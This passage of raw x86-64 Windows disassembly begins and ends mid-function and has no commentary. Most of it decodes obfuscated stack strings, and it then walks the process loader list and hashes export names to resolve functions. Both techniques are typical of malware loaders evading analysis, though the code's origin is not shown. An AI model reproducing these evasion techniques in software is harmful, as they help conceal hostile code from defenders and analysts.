mov byte [rbp + rax + 0x7e0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jb 0x140019320
movzx r10d, byte [rbx]
and r10d, dword [rbp + 0x7e0]
mov dword [rbp + 0x520], 0xaba4a5ac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x524], xmm0
mov byte [rbp + 0x534], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x15
jae 0x140019408
movabs rdi, 0xb0cfcb08a2b46d45
nop
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x520]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x1d
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x520], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x15
jb 0x1400193b0
movabs rdi, 0xeb77e614f12a315c
mov r11d, dword [rbp + 0x520]
mov dword [rbp + 0x60], 0xa3a0a1a5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x64], xmm0
mov qword [rbp + 0x74], rax
mov word [rbp + 0x7c], ax
mov byte [rbp + 0x7e], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jae 0x1400194a2
movabs r12, 0x4fa40d5618aabbb
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x60]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1d
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x60], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jb 0x140019450
movabs r12, 0xe8dbba0bf93d5d8a
movsxd r9, dword [rbp + 0x60]
mov dword [rbp + 0x180], 0x333435f7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x184], xmm0
mov dword [rbp + 0x194], eax
mov byte [rbp + 0x198], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jae 0x14001953a
movabs rsi, 0x7dcef9b0bfb762f9
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x180]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x31
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x180], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jb 0x1400194e2
movabs rsi, 0x257ebdb5eb069a9a
movzx r9d, byte [r9 + rbx]
and r9w, word [rbp + 0x180]
mov ecx, r11d
shl r10w, cl
or r9w, r10w
mov dword [rbp + 0x40], 0xabaaada2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x44], xmm0
mov qword [rbp + 0x54], rax
mov word [rbp + 0x5c], ax
mov byte [rbp + 0x5e], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jae 0x1400195e2
movabs rsi, 0xa5916599ac55239a
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x40]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x36
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x40], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jb 0x140019590
movabs rsi, 0x257ebdb5eb069a9a
mov ecx, dword [rbp + 0x40]
jmp 0x14001a3ef
mov dword [rbp + 0x160], 0xb3b2b1a0
xor eax, eax
movups xmmword [rbp + 0x164], xmm0
mov qword [rbp + 0x174], rax
mov word [rbp + 0x17c], ax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jae 0x14001967d
movabs r12, 0xa8be3b7924fbb2e8
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x160]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x58
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x160], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jb 0x140019625
movabs r12, 0xe8dbba0bf93d5d8a
mov r9d, dword [rbp + 0x160]
mov dword [rbp + 0x800], 0x23222d0c
xorps xmm0, xmm0
movups xmmword [rbp + 0x804], xmm0
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jae 0x14001970a
movabs r12, 0x4d4091f42459006
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x800]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x2a
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x800], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jb 0x1400196b2
movabs r12, 0xe8dbba0bf93d5d8a
movzx eax, byte [rbx]
and eax, r9d
cmp eax, dword [rbp + 0x800]
jne 0x140019bea
mov dword [rbp + 0x20], 0x2b2a2d1f
xor eax, eax
mov qword [rbp + 0x24], rax
mov dword [rbp + 0x2c], eax
mov word [rbp + 0x30], ax
mov byte [rbp + 0x32], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jae 0x1400197a2
movabs r12, 0xf7a00c590765717a
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x56
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jb 0x140019750
movabs r12, 0xe8dbba0bf93d5d8a
movzx edi, byte [rbx]
and edi, dword [rbp + 0x20]
mov dword [rbp], 0x232021d2
xor eax, eax
mov qword [rbp + 4], rax
mov dword [rbp + 0xc], eax
mov word [rbp + 0x10], ax
mov byte [rbp + 0x12], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jae 0x140019832
movabs r12, 0xf7790952992d15b
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x7d
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jb 0x1400197e0
movabs r12, 0xe8dbba0bf93d5d8a
mov esi, dword [rbp]
mov dword [rbp + 0x140], 0x1b1a1919
xor eax, eax
mov qword [rbp + 0x144], rax
mov dword [rbp + 0x14c], eax
mov byte [rbp + 0x150], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jae 0x1400198c8
movabs r12, 0xf4d663b6599c6f54
nop
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x140]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x4c
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x140], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jb 0x140019870
movabs r12, 0xe8dbba0bf93d5d8a
movsxd r9, dword [rbp + 0x140]
mov dword [rbp + 0x120], 0x1b1a195f
xor eax, eax
mov qword [rbp + 0x124], rax
mov dword [rbp + 0x12c], eax
mov word [rbp + 0x130], ax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x12
jae 0x140019968
movabs r12, 0xe98cd8f543b70884
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x120]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x64
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x120], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x12
jb 0x140019910
movabs r12, 0xe8dbba0bf93d5d8a
movzx r11d, byte [r9 + rbx]
and r11d, dword [rbp + 0x120]
mov dword [rbp + 0x2e0], 0xc3c2c1c6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2e4], xmm0
mov qword [rbp + 0x2f4], rax
mov byte [rbp + 0x2fc], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jae 0x140019a09
movabs r12, 0x460e4083e3276e20
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x2e0]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x20
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x2e0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jb 0x1400199b1
movabs r12, 0xe8dbba0bf93d5d8a
mov ebx, dword [rbp + 0x2e0]
mov dword [rbp - 0x20], 0xfbf8f9c7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0xc], eax
mov word [rbp - 8], ax
mov byte [rbp - 6], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x1b
jae 0x140019aa2
movabs r12, 0x2108dffdf4b529ff
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x20]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 7
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax - 0x20], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1b
jb 0x140019a50
movabs r12, 0xe8dbba0bf93d5d8a
mov r10d, dword [rbp - 0x20]
mov dword [rbp + 0x300], 0xb3b2b1b2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x304], xmm0
mov qword [rbp + 0x314], rax
mov dword [rbp + 0x31c], eax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jae 0x140019b3b
movabs r12, 0xb73086ffc829b218
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x300]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x58
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x300], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x140019ae3
movabs r12, 0xe8dbba0bf93d5d8a
movsxd rax, dword [rbp + 0x300]
mov rcx, qword [rsp + 0x48]
movzx r9d, byte [rax + rcx]
and r9w, r10w
mov ecx, ebx
shl r11w, cl
or r9w, r11w
mov ecx, esi
shl di, cl
or r9w, di
mov dword [rbp - 0x80], 0x2b2a2d23
xor eax, eax
mov qword [rbp - 0x7c], rax
mov dword [rbp - 0x74], eax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x140019be2
movabs r12, 0xd5cd3e872612e15a
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x80]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x76
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax - 0x80], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x140019b90
movabs r12, 0xe8dbba0bf93d5d8a
mov ecx, dword [rbp - 0x80]
jmp 0x14001a3d6
mov dword [rbp + 0x100], 0xbbb8b94e
xor eax, eax
mov qword [rbp + 0x104], rax
mov dword [rbp + 0x10c], eax
mov word [rbp + 0x110], ax
mov byte [rbp + 0x112], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jae 0x140019c82
movabs rbx, 0xb943cdea305752b7
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x100]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
dec r8b
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x100], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jb 0x140019c30
mov rbx, qword [rsp + 0x48]
mov r9d, dword [rbp + 0x100]
mov dword [rbp + 0x540], 0xebd4d526
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x544], xmm0
mov word [rbp + 0x554], ax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jae 0x140019d13
movabs rbx, 0x4924a6aec0bba65d
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x540]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x75
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x540], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jb 0x140019cc0
mov rbx, qword [rsp + 0x48]
movzx eax, byte [rbx]
and eax, r9d
cmp eax, dword [rbp + 0x540]
jne 0x14001a4ca
mov dword [rbp + 0x560], 0x8b8a8d87
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x564], xmm0
mov byte [rbp + 0x574], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x15
jae 0x140019db3
movabs rbx, 0xbb542cd036ef496a
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x560]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x1a
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x560], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x15
jb 0x140019d60
mov rbx, qword [rsp + 0x48]
movzx r15d, byte [rbx]
and r15d, dword [rbp + 0x560]
mov dword [rbp + 0xe0], 0x33323122
xor eax, eax
mov qword [rbp + 0xe4], rax
mov dword [rbp + 0xec], eax
mov word [rbp + 0xf0], ax
mov byte [rbp + 0xf2], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jae 0x140019e53
movabs rbx, 0x9451de141dfae458
nop
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0xe0]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x68
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0xe0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x13
jb 0x140019e00
mov rbx, qword [rsp + 0x48]
mov r12d, dword [rbp + 0xe0]
mov dword [rbp + 0x320], 0xf3f2cdcd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x324], xmm0
mov word [rbp + 0x334], ax
mov byte [rbp + 0x336], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x17
jae 0x140019ef3
movabs rbx, 0x42e7fe0edcb163de
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x320]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x12
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x320], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x17
jb 0x140019ea0
mov rbx, qword [rsp + 0x48]
movsxd r9, dword [rbp + 0x320]
mov dword [rbp + 0xa0], 0xeb1415d7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa4], xmm0
mov qword [rbp + 0xb4], rax
mov word [rbp + 0xbc], ax
mov byte [rbp + 0xbe], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jae 0x140019f93
movabs rbx, 0x605f1e9b8c627fd
nop
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0xa0]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x15
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0xa0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jb 0x140019f40
mov rbx, qword [rsp + 0x48]
movzx esi, byte [r9 + rbx]
and esi, dword [rbp + 0xa0]
mov dword [rbp + 0x340], 0x5b5a596c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x344], xmm0
mov dword [rbp + 0x354], eax
mov word [rbp + 0x358], ax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x1a
jae 0x14001a033
movabs rbx, 0xaeb6d842889cc5cc
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x340]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x6c
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x340], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1a
jb 0x140019fe0
mov rbx, qword [rsp + 0x48]
mov edi, dword [rbp + 0x340]
mov dword [rbp + 0x360], 0x4b444587
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x364], xmm0
mov word [rbp + 0x374], ax
mov byte [rbp + 0x376], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x17
jae 0x14001a0c9
movabs rbx, 0xb430270e9fc16835
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x360]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x73
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x360], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x17
jb 0x14001a076
mov rbx, qword [rsp + 0x48]
mov r9d, dword [rbp + 0x360]
mov dword [rbp + 0x380], 0xf3f28d8a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x384], xmm0
mov dword [rbp + 0x394], eax
mov byte [rbp + 0x398], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jae 0x14001a163
movabs rbx, 0xf5490e1f9655f6be
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x380]
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x32
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x380], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jb 0x14001a110
mov rbx, qword [rsp + 0x48]
movsxd rax, dword [rbp + 0x380]
movzx ebx, byte [rax + rbx]
and ebx, r9d
mov dword [rsp + 0x70], 0x63626166
xor eax, eax
mov qword [rsp + 0x74], rax
mov dword [rsp + 0x7c], eax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x14001a1eb
movabs r14, 0xa3a06205fa24e9b0
nop
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x70]
add rcx, r14
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x30
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x70], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x14001a1a0
xor r14d, r14d
mov r11d, dword [rsp + 0x70]
mov dword [rbp + 0x2c0], 0x636261bf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2c4], xmm0
mov qword [rbp + 0x2d4], rax
mov dword [rbp + 0x2dc], eax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jae 0x14001a281
movabs r14, 0x8ae004dec1317b0
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x2c0]
add rcx, r14
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x30
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x2c0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x14001a230
xor r14d, r14d
mov r10d, dword [rbp + 0x2c0]
mov dword [rbp - 0x50], 0xfbf8f9c3
xor eax, eax
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], eax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x14001a30b
movabs r14, 0x25f42317309949df
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x50]
add rcx, r14
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x19
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax - 0x50], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x14001a2c0
xor r14d, r14d
movsxd rax, dword [rbp - 0x50]
mov rcx, qword [rsp + 0x48]
movzx r9d, byte [rax + rcx]
and r9w, r10w
mov ecx, r11d
shl bx, cl
or r9w, bx
mov ecx, edi
shl si, cl
or r9w, si
mov ecx, r12d
shl r15w, cl
or r9w, r15w
mov dword [rbp + 0x820], 0xeb949592
xorps xmm0, xmm0
movups xmmword [rbp + 0x824], xmm0
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jae 0x14001a3c1
movabs r14, 0xb5fa9c4e92afad3d
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x820]
add rcx, r14
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x55
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x820], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jb 0x14001a370
xor r14d, r14d
mov ecx, dword [rbp + 0x820]
mov r15d, dword [rsp + 0x38]
movabs r12, 0xe8dbba0bf93d5d8a
movabs rsi, 0x257ebdb5eb069a9a
movabs rdi, 0xeb77e614f12a315c
mov rbx, qword [rsp + 0x48]
mov r10, qword [rsp + 0x40]
lea eax, [r15 - 1]
cmp r13d, eax
jge 0x14001a40a
mov word [r10], r9w
add r10, 2
mov qword [rsp + 0x40], r10
inc r13d
movsxd rax, ecx
add rbx, rax
mov qword [rsp + 0x48], rbx
cmp byte [rbx], 0
jne 0x1400191e0
cmp r13d, r15d
jge 0x14001a4ca
mov byte [rbp + 0x580], 0xd6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x581], xmm0
mov qword [rbp + 0x591], rax
mov dword [rbp + 0x599], eax
mov word [rbp + 0x59d], ax
mov byte [rbp + 0x59f], al
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jae 0x14001a4bf
movabs r9, 0x82dd3f84a7fcc75d
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x580]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x75
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x580], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x14001a471
movsx eax, byte [rbp + 0x580]
mov word [r10], ax
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
mov qword [rsp + 0x40], rcx
cmp rcx, rdx
je 0x14001e443
mov r10d, 0x5a4d
mov r9d, 0x20b
mov r8d, 0x2bf7cf4a
nop word [rax + rax]
cmp qword [rcx + 0x60], 0
je 0x14001a65b
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001a65b
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x48], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
cmp word [rdi], r10w
jne 0x14001e46a
cmp word [rax + 0x18], r9w
jne 0x14001a55c
cmp dword [rax + 0x8c], 0
jbe 0x14001a65b
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001a652
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001a5e9
mov r12d, 0x2bf7cf4a
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001a590
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xb04a8f10
je 0x14001a5fb
inc ebx
mov r8d, 0x2bf7cf4a
cmp ebx, r12d
jae 0x14001a63c
jmp 0x14001a56c
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + 0x88]
